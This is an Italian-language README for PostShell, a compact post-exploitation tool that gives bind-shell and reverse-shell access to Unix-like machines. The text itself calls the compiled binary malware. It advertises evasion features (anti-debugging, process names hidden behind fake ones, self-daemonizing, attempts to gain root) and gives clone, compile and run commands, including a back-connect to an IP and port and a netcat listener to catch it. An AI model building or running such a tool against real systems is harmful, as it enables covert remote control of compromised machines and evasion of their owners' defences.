PostShell

PostShell è una shell post-sfruttamento che include sia una shell bind che una shell back connect. Crea un TTY completamente interattivo che permette il controllo dei job. La dimensione dello stub è di circa 14kb e può essere compilato su qualsiasi sistema Unix-like.

Screenshot

Banner e interazione con la shell dopo l'avvio di una connessione.

Perché non usare una tradizionale shell Backconnect/Bind?

PostShell facilita il post-sfruttamento rendendo l'attaccante meno dipendente da dipendenze come Python e Perl. Incorpora inoltre sia una shell back connect che una shell bind, il che significa che se un target non consente connessioni in uscita, un operatore può semplicemente avviare una shell bind e connettersi alla macchina in remoto. PostShell è anche significativamente meno sospetto di una shell tradizionale perché sia il nome dei processi che gli argomenti sono nascosti.

Funzionalità

• Anti-Debugging, se viene rilevato che ptrace è collegato alla shell, questa verrà terminata.
• I nomi dei processi/thread sono nascosti, un nome falso sovrascrive tutti gli argomenti di sistema e il nome del file per far sembrare il programma legittimo.
• TTY, viene creato un TTY che consente essenzialmente lo stesso uso della macchina come se fossi connesso tramite SSH.
• Shell Bind/Backconnect, è possibile creare sia una shell bind che una back connect.
• Dimensioni ridotte dello stub, viene solitamente generato uno stub molto piccolo (<14kb).
• Si demonizza automaticamente
• Tenta di impostare GUID/UID a 0 (root)

Per Iniziare

1. Download: git clone https://github.com/rek7/postshell
2. Compilazione: cd postshell && sh compile.sh Questo dovrebbe creare un binario chiamato "stub" che è il malware.

Comandi

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Esempio di Utilizzo

Backconnect:

$ ./stub 127.0.0.1 13377

Bind Shell:

$ ./stub 13377

Ricevere una Connessione con Netcat

Ricevere una backconnect:

$ nc -vlp port

Connettersi a una shell bind:

$ nc host port

TODO:

• Aggiungere risoluzione dominio